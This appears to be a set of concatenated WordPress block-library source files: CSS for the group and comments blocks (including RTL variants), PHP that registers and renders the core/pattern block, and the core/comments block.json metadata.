.wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;list-style:none;margin:0;padding:0;width:100%}.wp-block-group__placeholder .components-placeholder__instructions{margin-bottom:18px;text-align:center}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{fill:#ccc!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{fill:var(--wp-admin-theme-color)!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;margin:0 12px 12px;width:auto}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{height:32px;padding:0;width:44px}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{box-shadow:none}.wp-block-group__placeholder .components-placeholder{min-height:auto;padding:24px}.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{margin:12px}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  border-radius:2px;
  content:"";
  display:flex;
  flex:1 0 48px;
  min-height:46px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}

.wp-block-group__placeholder .wp-block-group-placeholder__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:center;
  list-style:none;
  margin:0;
  padding:0;
  width:100%;
}
.wp-block-group__placeholder .components-placeholder__instructions{
  margin-bottom:18px;
  text-align:center;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{
  fill:#ccc !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{
  fill:var(--wp-admin-theme-color) !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{
  align-items:center;
  display:flex;
  flex-direction:column;
  margin:0 12px 12px;
  width:auto;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{
  height:32px;
  padding:0;
  width:44px;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{
  box-shadow:none;
}
.wp-block-group__placeholder .components-placeholder{
  min-height:auto;
  padding:24px;
}
.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{
  margin:12px;
}.wp-block-group{box-sizing:border-box}.wp-block-group{
  box-sizing:border-box;
}<?php
/**
 * Server-side rendering of the `core/pattern` block.
 *
 * @package WordPress
 */

/**
 *  Registers the `core/pattern` block on the server.
 */
function register_block_core_pattern() {
	register_block_type_from_metadata(
		__DIR__ . '/pattern',
		array(
			'render_callback' => 'render_block_core_pattern',
		)
	);
}

/**
 * Renders the `core/pattern` block on the server.
 *
 * @since 6.3.0 Backwards compatibility: blocks with no `syncStatus` attribute do not receive block wrapper.
 *
 * @global WP_Embed $wp_embed Used to process embedded content within patterns
 *
 * @param array $attributes Block attributes.
 *
 * @return string Returns the output of the pattern.
 */
function render_block_core_pattern( $attributes ) {
	static $seen_refs = array();

	if ( empty( $attributes['slug'] ) ) {
		return '';
	}

	$slug     = $attributes['slug'];
	$registry = WP_Block_Patterns_Registry::get_instance();

	if ( ! $registry->is_registered( $slug ) ) {
		return '';
	}

	if ( isset( $seen_refs[ $attributes['slug'] ] ) ) {
		// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
		// is set in `wp_debug_mode()`.
		$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;

		return $is_debug ?
			// translators: Visible only in the front end, this warning takes the place of a faulty block. %s represents a pattern's slug.
			sprintf( __( '[block rendering halted for pattern "%s"]' ), $slug ) :
			'';
	}

	$pattern = $registry->get_registered( $slug );
	$content = $pattern['content'];

	// Backward compatibility for handling Block Hooks and injecting the theme attribute in the Gutenberg plugin.
	// This can be removed when the minimum supported WordPress is >= 6.4.
	if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN && ! function_exists( 'traverse_and_serialize_blocks' ) ) {
		$blocks  = parse_blocks( $content );
		$content = gutenberg_serialize_blocks( $blocks );
	}

	$seen_refs[ $attributes['slug'] ] = true;

	$content = do_blocks( $content );

	global $wp_embed;
	$content = $wp_embed->autoembed( $content );

	unset( $seen_refs[ $attributes['slug'] ] );
	return $content;
}

add_action( 'init', 'register_block_core_pattern' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments",
	"title": "Comments",
	"category": "theme",
	"description": "An advanced block that allows displaying post comments using different visual configurations.",
	"textdomain": "default",
	"attributes": {
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"legacy": {
			"type": "boolean",
			"default": false
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"heading": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		}
	},
	"editorStyle": "wp-block-comments-editor",
	"usesContext": [ "postId", "postType" ]
}
.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:left}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:right}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:right}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:left}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:right}.wp-block-post-comments .alignright{float:left}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
